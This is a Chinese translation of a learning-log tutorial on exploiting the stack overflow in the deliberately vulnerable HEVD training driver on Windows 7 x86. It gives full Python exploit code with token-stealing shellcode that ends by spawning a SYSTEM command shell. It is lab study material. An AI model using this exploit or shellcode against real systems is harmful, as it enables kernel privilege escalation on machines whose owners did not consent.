文章翻译自:https://h0mbre.github.io/HEVD-StackOverflow/

介绍

继续我们的Windows漏洞利用之旅,开始学习HEVD中内核驱动程序相关的漏洞,并编写有关ring 0的利用程序。正如我在OSCP中所做的准备,我主要是在博客中记录自己的进步,以此来加强认知和保留详细的笔记,以供日后参考。

本系列文章是我尝试遍历Hacksys Extreme漏洞驱动程序中所有漏洞方法的记录。
我将使用HEVD 2.0。,对我们这些刚入门的人来说,像这样的训练工具是非常神奇的。 那里还有很多不错的博客文章,介绍了各种HEVD漏洞。 我建议您全部阅读! 在尝试完成这些攻击时,我大量引用了它们。 在此博客中,我所做的或说的,几乎没有什么是新的内容或我自己的想法/思路/技术。

本系列文章不再着重介绍以下信息,例如:

  • 驱动程序如何工作,以及用户空间,内核和驱动程序之间的不同类型,如何通信等等

  • 如何安装HEVD

  • 如何搭建实验环境

  • shellcode分析

原因很简单,其他博客文章在详细说明此信息方面,做得比我更好。 那里有很多出色的帖子,相比之下我写这个博客系列就很肤浅了。 但并不意味着我的博客写得很差,因为我的博客比那些文章更容易理解。那些博客的作者比我有更多的经验和更渊博的知识,他们文章解释的就很好。:)

这篇文章/系列文章将重点放在我尝试制作实际漏洞的经验上。

我使用以下博客作为参考:

非常感谢这些博客作者,没有您的帮助,我无法完成前两个漏洞。

目标


我们的目标是在Win7 x86和Win7 x86-64上完成针对HEVD栈溢出漏洞的攻击。 我们将紧跟上述博客文章,但会尝试一些稍有不同的方法,使这个过程变得更加有趣并确保我们能实际学习到知识。。

在挑战这个目标之前,我从未使用过64位的架构。我认为最好先从老式的堆栈溢出漏洞开始学习,因此有关x64的漏洞利用,我们将在本系列文章的第二部分完成。

Windows 7 x86漏洞利用


开始

HEVD有一个kernel-mode
驱动程序的例子,以kernel/ring-0权限运行程序,利用此类服务可能会使权限低的用户将权限提升到nt authority/system权限。

开始之前,您需要先阅读一些MSDN的文档,特别是I/O部分,里面详细介绍了内核模式驱动程序的架构。

Windows的API DeviceIoControl允许用户空间区的应用程序直接与设备驱动程序进行通信,它的参数之一是IOCTL,这有点类似于系统调用,对应驱动程序上的某些编程函数和例程。 例如,如果您从用户空间向其发送代码1,则设备驱动程序将会有对应的逻辑来解析IOCTL,然后执行相应的函数。 如果要与驱动程序进行交互,就需要使用DeviceIoControl

设备IO控制

让我们继续看一下MSDN上的DeviceIoControlAPI定义:

BOOL DeviceIoControl(
  HANDLE       hDevice,
  DWORD        dwIoControlCode,
  LPVOID       lpInBuffer,
  DWORD        nInBufferSize,
  LPVOID       lpOutBuffer,
  DWORD        nOutBufferSize,
  LPDWORD      lpBytesReturned,
  LPOVERLAPPED lpOverlapped
);

可以看到,hDevice是驱动程序的句柄,需要使用单独的API调用CreateFile来打开驱动程序的句柄。让我们看一下其定义:

HANDLE CreateFileA(
  LPCSTR                lpFileName,
  DWORD                 dwDesiredAccess,
  DWORD                 dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD                 dwCreationDisposition,
  DWORD                 dwFlagsAndAttributes,
  HANDLE                hTemplateFile
);

通常,与这些API交互时,需要使用C或C ++编写应用程序; 但是,我们可以直接使用python的ctypes库,该库提供和C语言兼容的数据类型,可以直接调用动态链接库中的导出函数。虽然有多种方法满足CreateFileA的参数需要,但是我们这里使用十六进制代码。 (还用我正在使用Python2.7,因为我讨厌在代码开发过程中弄混Python3中新的str和byte数据类型。此外,如果代码要将其移植到Python3,需要注意这些Windows API需要某些字符串编码格式。如果没考虑到Python3中将字符串视为Unicode,则CreateFileA会失败。

我将解释一些我认为需要阐明的参数,然后其余部分留给读者去研究。不要只是学习表面上的知识,而要真正理解它们的含义。 我仅仅通过在Windows上进行了一些入门级的shell编码就熟悉了其中的一些API,但与专家还相距甚远。我发现通过跟踪调用API的示例并查看它们的代码是最有用的。

我们需要的第一个值是lpFileName, 访问HEVD源代码找到它。但是,我认为最好将源代码当作一个黑匣子来处理。 我们将在IDA Free 7.0中打开.sys文件,并查看是否可以对其进行跟踪。

在IDA中打开文件后,将会直接跳转到DriverEntry函数。

可以看到,在第一个函数中有一个字符串,含有lpFileName, \\ Device \\ HackSysExtremeVulnerableDriver。 在我们的Python代码中,它将会被格式为"\\\\.\\HackSysExtremeVulnerableDriver"。 你可以在google上找到更多关于这个值的信息,以及如何格式化它。

接下来是dwDesiredAccess参数。在Rootkit's blog我们看到他使用了0xC0000000值。这可以通过检查访问掩码格式文档并查找相应的潜在值来解释. 我们要使最高有效位(最左边)设置为C或十进制12。 我们可以看看winnt.h来确定此常数的含义。我们在这里看到GENERIC_READGENERIC_WRITE分别是0x800000000x400000000xC0000000就是将这两个值加在一起。这样看起来就很直观!

我想你能算出其他的参数。此时,我们的CreateFileA和利用代码是这样的:

import ctypes, sys, struct
from ctypes import *
from subprocess import *

kernel32 = windll.kernel32

def create_file():

    hevd = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver", 
        0xC0000000, 
        0, 
        None, 
        0x3, 
        0, 
        None)

    if (not hevd) or (hevd == -1):
        print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
        sys.exit(1)
    else:
        print("[*] Successfully retrieved handle to device-driver: " + str(hevd))
        return hevd

如果成功,CreateFileA将返回一个句柄给我们的设备,如果失败,CreateFileA将给我们一个错误代码。现在,我们有了句柄,可以完成DeviceIoControl的调用。

IOCTLs

在句柄(hevd)之后, 紧接着就是我们需要的dwIoControlCode。IDA中显式注释的IOCTL以十进制表示。RE Stack Exchange这篇文章详细介绍了其中细微的区别。

这里有一个在MSDN上非常有名的宏CTL_CODE,驱动程序开发人员可以使用它来生成完整的IOCTL代码。我已经放了一个小脚本,逆向这个过程,从完整的IOCTL代码中获取CTL_CODE参数, 在这里可以找到。使用来自RE Stack Exchange的示例,我们可以在这里演示它的输出:

root@kali:~# ./ioctl.py 0x2222CE
[*] Device Type: FILE_DEVICE_UNKNOWN
[*] Function Code: 0x8b3
[*] Access Check: FILE_ANY_ACCESS
[*] I/O Method: METHOD_OUT_DIRECT
[*] CTL_CODE(FILE_DEVICE_UNKNOWN, 0x8b3, METHOD_OUT_DIRECT, FILE_ANY_ACCESS)

我们现在需要找到在HEVD中存在的IOCTL。我们将再一次使用IDA。 在functions选项中,有一个IrpDeviceIoCtlHandler函数,需要解开该函数才能确定哪些IOCTL与哪个函数相对应。 在IDA中打开该函数并向里跟踪,直到找到所需的函数为止,如下所示:

从这里开始,我所做的只是向后追溯路径,直到找到足够的信息以查看需要发送哪些IOCTL才能到达该位置。向后退一级,我们到达这里:

可以看到其中一个寄存器EAX减去了0x222003 ,如果结果为零,则跳到我们想要的函数。由此可以基本看出,如果发送IOCTL 0x222003,我们将最终获得所需的函数。但那太容易了, 让我们回到IrpDeviceIoCtlHandler入口,看看是否可以确定有关IOCTL解析逻辑的更多信息,并从逻辑上检查我们的工作,甚至不需要与驱动程序进行交互。

在某些时候,我们的IOCTL被加载到ECX中,然后与0x222027进行比较。 如果ECX的值更大,则采用绿色分支(即JA == jump), 如果输入的值较小,则采用红色分支。 我们假定IOCTL的值更小,因此我们以红色表示,并在此处结束:

上面这个方框所做的就是,如果我们刚才比较ECX0x222027的值是相等的时候,我们将采用绿色。但是,我并不会让它们相等,所以我们再次进入红色分支:

这个比较棘手, 我们知道EAX的值0x222027,加上0xFFFFFFEC即可获得0x100222013。 不过,这将是一个额外的字节(9个字节),我们的寄存器将会忽略0x100222013的首位1。因此我们在EAX中使用0x222013,然后将存储在ECX中的0x222003与该值进行比较,会使我们再次进入红色分支,因为我们不会超过EAX中的新值0x222013。所以,接下来的两个方框是:

之前的比较不会以设置ZERO FLAG结束,因此从第一个方框中我们将红色移到图片中的第二个方框,瞧! 我们回到想要的功能上方的方框中。 我们能够从逻辑上跟踪被解析的IOCTL的流程,而无需启动驱动程序。 这样的逆向过程,对于像我这样的菜鸟来说真是太棒了。

现在我们知道了,我们的IOCTL的值是0x222003

剩下的参数可以参考ootkit blog, 填充大量的“A”字符,下面是我们的漏洞利用代码:

import ctypes, sys, struct
from ctypes import *
from subprocess import *
import time

kernel32 = windll.kernel32

def create_file():

    hevd = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver", 
        0xC0000000, 
        0, 
        None, 
        0x3, 
        0, 
        None)

    if (not hevd) or (hevd == -1):
        print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
        sys.exit(1)
    else:
        print("[*] Successfully retrieved handle to device-driver: " + str(hevd))
        return hevd

def send_buf(hevd):

    buf = "A" * 3000
    buf_length = len(buf)

    print("[*] Sending payload to driver...")
    result = kernel32.DeviceIoControl(
        hevd,
        0x222003,
        buf,
        buf_length,
        None,
        0,
        byref(c_ulong()),
        None
    )

hevd = create_file()
send_buf(hevd)

Crash

通过上述实验步骤了解了内核调试的逻辑

接着我们需要在受害者机器上运行此程序,同时在其他Win7主机(调试器)上对其进行内核调试。 一旦与调试器上的受害者建立了连接,就可以在WinDBG中运行以下命令:

  • sympath \ + <HEVD.pdb文件的路径> <-将HEVD的符号添加到我们的符号路径中

  • .reload <-从路径重新加载符号

  • ed Kd_DEFAULT_Mask 8 <-启用内核调试

  • bp HEVD!TriggerStackOverflow <— 在所需的函数上设置断点

在调试器上,按Ctrl + Break进行暂停,然后在交互式提示符“kd>”中输入这些命令。

输入这些命令并加载符号和路径(可能需要一段时间)后,使用g恢复执行。因为我们是正确的使用IOCTL,所以我们运行代码将会到达断点。

可以看到,程序运行到了断点对应函数,IOCTL是正确的。我们可以使用p一步一步地进入这个函数,一次一条指令。按一次p键,然后可以使用enter作为快捷方式,因为它将重复您的上一个命令。 我们也可以转到View,然后选择跟随EIP的反汇编,并实时向您显示汇编指令和寄存器。 在某个时候,我们的机器会crash。

我们可以看到,当机器崩溃时,我们正在执行RET 8,它将从堆栈中弹出一个值到EIP,然后将我们返回到EIP中的地址。 在这个情况下,该地址是0x41414141,该地址未映射,导致我们进入了死亡蓝屏! 我们知道,一旦有了EIP,我们就有大量的能力来重定向执行流程。 您可以在Kali上的/usr/bin中使用msf-pattern_create程序来创建3000字节的模式并找到偏移量。

Exploit

Pattern创建的字符可以让我们知道填充无用字符到EIP的偏移量是2080。接下来的4个字节应该是指向我们的shellcode的指针。 为了在内存中创建缓冲区并将其填充到我们的shellcode中,我们将使用一些ctypes函数。

我们需要创建一个字符数组,并用我们的shellcode填充它,这一部分感谢Rootkit的博客。我们将字符数组命名为usermode_addr,因为它最终会通知一个指向用户空间的shellcode的指针。 现在,我们的驱动程序正在内核空间中执行,但是我们将在用户空间中创建一个缓冲区,并用我们的shellcode填充它,程序将重定向到该缓冲区,执行完后返回到内核空间,就好像什么都没发生一样。

我们创建缓冲区的代码是:

shellcode = bytearray(
    "\x90" * 100
    )
usermode_addr = (c_char * len(shellcode)).from_buffer(shellcode)

我敢肯定,这等效于C语言中的以下内容:

char usermode_addr[100] = { 0x90, 0x90, ... };

(c_char * len(shellcode))意思是说:给我一个c_char数组,输入shellcode的长度。

.from_buffer(shellcode)意思说:用shellcode值填充该数组。

我们还必须得到一个指向这个字符数组的指针,这样我们就可以把它放在EIP的位置上。为此,我们可以创建一个名为ptr的变量,使其等于addressof(usermode_addr)。把这个加到我们的代码中:

ptr = addressof(usermode_addr)

我们应该能够把这个ptr放在我们的利用代码中,并且将执行重定向走到它。但是,我们仍然需要通过读写权限标记该内存区域,否则DEP会破它。我们会使用API VirtualProtect(在这里了解详情)。 如果您想了解有关如何使用此API的更多信息,请阅读我在ROP上的帖子。

我们这部分的代码是:

result = kernel32.VirtualProtect(
        usermode_addr,
        c_int(len(shellcode)),
        c_int(0x40),
        byref(c_ulong())
    )

c_intc_ulong是用于声明这些C数据类型变量的ctype函数。byref()将返回一个指针(与byval()中的值一样)指向作为其参数的变量。如果该API的返回值不为零,则可以正常工作。

最后,我们将使用struct.pack("<L",ptr)适当格式化指针,以便可以将其与我们的shellcode字节数组连接。至此,我们完整的代码如下所示:

import ctypes, sys, struct
from ctypes import *
from subprocess import *
import time

kernel32 = windll.kernel32

def create_file():

    hevd = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver", 
        0xC0000000, 
        0, 
        None, 
        0x3, 
        0, 
        None)

    if (not hevd) or (hevd == -1):
        print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
        sys.exit(1)
    else:
        print("[*] Successfully retrieved handle to device-driver: " + str(hevd))
        return hevd

def send_buf(hevd):

    shellcode = bytearray(
    "\x90" * 100
    )

    print("[*] Allocating shellcode character array...")
    usermode_addr = (c_char * len(shellcode)).from_buffer(shellcode)
    ptr = addressof(usermode_addr)

    print("[*] Marking shellcode RWX...")

    result = kernel32.VirtualProtect(
        usermode_addr,
        c_int(len(shellcode)),
        c_int(0x40),
        byref(c_ulong())
    )

    if result != 0:
        print("[*] Successfully marked shellcode RWX.")
    else:
        print("[!] Failed to mark shellcode RWX.")
        sys.exit(1)

    payload = struct.pack("<L",ptr)

    buf = "A" * 2080 + payload
    buf_length = len(buf)

    print("[*] Sending payload to driver...")
    result = kernel32.DeviceIoControl(
        hevd,
        0x222003,
        buf,
        buf_length,
        None,
        0,
        byref(c_ulong()),
        None
    )

hevd = create_file()
send_buf(hevd)

由于我们的shellcode只是NOPs,而且我们并没有做任何事情来让程序正常执行,因此我们肯定会蓝屏并导致内核崩溃。不过,为了确认我们正在shellcode,让我们继续发送它,我们应该看到NOP刚好超过用户空间区分配的缓冲区的末尾。

这些就是NOPs。

现在该处理这次内核崩溃了,当步入TriggerStackOverflow函数时,在WinDBG中打印出调试消息显示,复制到内存中的驱动程序幻阵区只有0x800字节。我们很可能破坏了一些没有注意到的内存区域。 让我们缩小payload的长度刚好为0x800(对应十进制的2048)大小,然后重新运行。

buf = "A" * 2048

达到断点后逐步执行,我们会收到调试消息,有效负载是正确大小是0x800

当我们查看反汇编窗格时,可以在接下来的几个图像中看到此突出显示的ret 8命令,我们退出TriggerStackOverflow函数,然后返回StackOverflowIoctlHandler函数。

在该函数内部,我们执行pop ebpret 8

因为我们劫持了TriggerStackOverflow返回后的执行(这是第一个ret 8, 为了让它指向我们的shellcode,我们必须模拟这两个操作,分别是pop ebpret 8,我们应该在返回StackOverflowIoctlHandler时应该执行这两个操作。)

让我们将这些添加到我们的shellcode中,看看我们是否只能发送NOPs和恢复执行,看看是否可以让受害者继续运行。 我们的新shellcode部分将如下所示:

shellcode = bytearray(
"\x90" * 100
)

shellcode = shellcode + bytearray(
"\x5d"                    # pop    ebp
"\xc2\x08\x00"            # ret    0x8
)

这次应该就不会让受害者的机器崩溃。我们试试吧。

一切都很好! 它一直运行着,我们达到了断点,继续使用g执行,我们可以看到Debuggee仍在运行并且受害者的机器没有崩溃。 我们剩下要做的就是添加shellcode。

最终的漏洞利用代码

我参考了Rootkit博客Shellcode并做了稍微, 我们最终的x86利用代码:

import ctypes, sys, struct
from ctypes import *
from subprocess import *
import time

kernel32 = windll.kernel32

def create_file():

    hevd = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver", 
        0xC0000000, 
        0, 
        None, 
        0x3, 
        0, 
        None)

    if (not hevd) or (hevd == -1):
        print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
        sys.exit(1)
    else:
        print("[*] Successfully retrieved handle to device-driver: " + str(hevd))
        return hevd

def send_buf(hevd):

    shellcode = bytearray(
    "\x60"                            # pushad
    "\x31\xc0"                        # xor eax,eax
    "\x64\x8b\x80\x24\x01\x00\x00"    # mov eax,[fs:eax+0x124]
    "\x8b\x40\x50"                    # mov eax,[eax+0x50]
    "\x89\xc1"                        # mov ecx,eax
    "\xba\x04\x00\x00\x00"            # mov edx,0x4
    "\x8b\x80\xb8\x00\x00\x00"        # mov eax,[eax+0xb8]
    "\x2d\xb8\x00\x00\x00"            # sub eax,0xb8
    "\x39\x90\xb4\x00\x00\x00"        # cmp [eax+0xb4],edx
    "\x75\xed"                        # jnz 0x1a
    "\x8b\x90\xf8\x00\x00\x00"        # mov edx,[eax+0xf8]
    "\x89\x91\xf8\x00\x00\x00"        # mov [ecx+0xf8],edx
    "\x61"                            # popad
    "\x5d"
    "\xc2\x08\x00")

    print("[*] Allocating shellcode character array...")
    usermode_addr = (c_char * len(shellcode)).from_buffer(shellcode)
    ptr = addressof(usermode_addr)

    print("[*] Marking shellcode RWX...")

    result = kernel32.VirtualProtect(
        usermode_addr,
        c_int(len(shellcode)),
        c_int(0x40),
        byref(c_ulong())
    )

    if result != 0:
        print("[*] Successfully marked shellcode RWX.")
    else:
        print("[!] Failed to mark shellcode RWX.")
        sys.exit(1)

    payload = struct.pack("<L",ptr)

    buf = "A" * 2080
    buf += payload
    buf_length = len(buf)

    print("[*] Sending payload to driver...")
    result = kernel32.DeviceIoControl(
        hevd,
        0x222003,
        buf,
        buf_length,
        None,
        0,
        byref(c_ulong()),
        None
    )

    if result != 0:
        print("[*] Payload sent.")
    else:
        print("[!] Unable to send payload to driver.")
        sys.exit(1)

    try:
        print("[*] Spawning cmd shell with SYSTEM privs...")
        Popen(
            'start cmd',
            shell=True
        )
    except:
        print("[!] Failed to spawn cmd shell.")
        sys.exit(1)

hevd = create_file()
send_buf(hevd)

在Rootkit的博客上已经对Shellcode进行了很好的解释,请继续阅读并了解它的作用,当我们将漏洞利用移植到x86-64时,我们使用非常相似的Shellcode方法。

结论


这些真是太有趣了。 对我而言,最难的部分是查找有关API调用的文档,查找有关ctypes函数的文档,然后尝试遍调试器中的shellcode, 这是开始学习WinDBG的好方法。下篇文章,我们将该漏洞利用移植到有更多功能的Windows 7 x86-64上。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖